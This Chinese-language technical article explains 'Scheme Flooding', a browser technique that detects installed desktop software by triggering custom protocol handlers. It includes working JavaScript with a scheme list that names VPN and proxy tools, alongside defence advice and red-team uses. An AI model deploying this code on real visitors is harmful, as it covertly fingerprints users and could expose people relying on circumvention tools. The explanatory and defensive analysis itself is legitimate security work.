通过Scheme Flooding达成的本地安装软件痕迹探测浅析
字数 1869 2025-08-06 18:07:40
Scheme Flooding技术深度分析与防御指南
1. 技术概述
Scheme Flooding(方案泛洪)是一种利用浏览器自定义Scheme协议特性进行本地软件痕迹探测的技术。严格来说,这不是一个传统意义上的"漏洞",而是对Scheme特性的一种非常规利用方式。
1.1 技术效果
- 批量探测本地安装软件:通过特定技术手段可以批量检测用户设备上安装的软件
- 高准确率:对有特征的软件探测准确率很高
- 残留检测:即使软件已卸载但未清除Scheme注册信息,仍可被检测到
2. 技术原理
2.1 Scheme协议基础
Scheme是一种页面内跳转协议,主要用于:
- 通过小程序打开原生App
- H5页面锚点跳转App特定页面
- 处理PUSH通知栏消息跳转
- App间URL跳转
- 短信URL打开App
2.2 核心检测机制
检测流程:
- 创建一个隐藏的小窗口
- 遍历预定义的Scheme列表
- 尝试通过每个Scheme协议启动对应应用
- 根据响应判断应用是否存在
3. 技术实现细节
3.1 基础实现代码
// 创建检测窗口
handler = window.open('about:blank', '', 'width=50,height=50,left=9999,top=9999')
// 应用名称与Scheme映射
appnames=['Skype', 'Spotify', 'Zoom', 'vscode', 'Epic Games', 'Telegram', 'Discord', 'Slack', 'Steam', 'Battle.net', 'Xcode', 'NordVPN', 'Sketch', 'Teamviewer', 'Microsoft Word', 'WhatsApp', 'Postman', 'Adobe', 'Messenger', 'Figma', 'Hotspot Shield', 'ExpressVPN', 'Notion', 'iTunes','Tim','百度网盘','BinaryNinja','evernote','github desktop','onenote','QQ','腾讯会议','xmind','Vmware','360软件管家','acrobat','QQ游戏','shadowsocks','shadowsocksr','v2ray','trojan','naiveproxy','brook','V2rayU']
schemes=['skype', 'spotify', 'zoommtg', 'vscode', 'com.epicgames.launcher', 'tg', 'discord', 'slack', 'steam', 'battlenet', 'xcode', 'nordvpn', 'sketch', 'teamviewerapi', 'word', 'whatsapp', 'postman', 'aem-asset', 'messenger', 'figma', 'hotspotshield', 'expressvpn', 'notion', 'itunes','Tencent','Baiduyunguanjia','BinaryNinja','evernote','github-windows','onenote','QQ','wwauth3rd3a82ac41e00d815d','xmind','vm','softmanager360','acrobat','QQGameProtocol','ss','ssr','vmess','trojan','naive+https','brook','clash']
// 检测逻辑
for(var i=0;i<appnames.length;i++) {
appname=appnames[i];
scheme=schemes[i];
let isDetected=true;
await sleep(125)
input = document.createElement('input')
input.style.opacity = '0'
input.style.position = 'absolute'
input.onfocus = () => { isDetected = false }
await sleep(125)
handler.document.body.appendChild(input);
handler.location.replace(scheme+"://Message")
await sleep(125)
input.focus()
await sleep(125)
input.remove()
if(isDetected)
output=document.getElementById('installed')
else
output=document.getElementById('notinstall')
output.value+='\n'+appname
handler.location.replace("about:blank")
}
handler.close()
3.2 关键点说明
- 窗口创建:使用
window.open创建小尺寸隐藏窗口 - 输入元素:创建隐藏的input元素用于检测焦点变化
- Scheme触发:通过修改窗口location触发Scheme协议
- 检测逻辑:如果Scheme有效触发应用启动,input无法获得焦点
4. 获取应用Scheme特征的方法
以百度网盘为例:
- 在火狐浏览器中访问百度网盘资源
- 点击下载按钮
- 观察浏览器提示的协议名称(如baiduyunguanjia)
- 此协议名称即为该应用的Scheme特征
5. 受影响环境
根据Fingerprint公开数据,以下浏览器和系统受影响:
| 浏览器 | 版本 | 受影响系统 |
|---|---|---|
| Chrome | 90+ | Windows 10, macOS Big Sur |
| Firefox | 88.0.1+ | Ubuntu 20.04, Windows 10, macOS Big Sur |
| Safari | 14.1+ | macOS Big Sur |
| Tor Browser | 10.0.16 | Ubuntu 20.04, Windows 10, macOS Big Sur |
| Brave | 1.24.84 | Windows 10, macOS Big Sur |
| Yandex Browser | 21.3.0 | Windows 10, macOS Big Sur |
| Microsoft Edge | 90+ | Windows 10, macOS Big Sur |
注:Tor浏览器已在某些版本中修复此问题。
6. 防御措施
6.1 用户端防御
-
浏览器设置:
- 禁用不必要的自定义协议处理程序
- 使用隐私模式浏览敏感网站
-
系统层面:
- 定期清理无用的协议注册信息
- 使用安全软件监控异常协议调用
-
行为防御:
- 避免在检测过程中进行其他操作,防止检测中断导致误判
- 注意浏览器弹出的小窗口行为
6.2 开发者防御
-
应用卸载时:
- 彻底清理注册的Scheme协议信息
-
应用设计:
- 避免使用过于简单的Scheme名称
- 实现Scheme调用的二次确认机制
7. 扩展研究
7.1 CORS绕过技术
原始资料提到存在通过CORS绕过浏览器限制的方法,但未详细说明。推测可能涉及:
- 利用跨域资源共享机制绕过浏览器安全策略
- 结合iframe和postMessage进行跨域通信
- 利用Service Worker等现代Web API增强检测能力
7.2 红蓝对抗中的应用
在安全测试中,此技术可用于:
- 内网资产探测
- 终端安全审计
- 用户画像构建
- 攻击面评估
8. 参考资源
- Exploiting custom protocol handlers for cross-browser tracking - Fingerprint
- Scheme协议详细介绍 - 杨充
- schemeflood - drivertom
- external-protocol-flooding - fingerprintjs
9. 总结
Scheme Flooding技术展示了Web与本地应用交互中存在的隐私风险。虽然这不是传统意义上的安全漏洞,但确实可能被滥用于用户指纹收集和隐私侵犯。理解其原理有助于更好地防御此类技术,同时也能在合法安全测试中加以应用。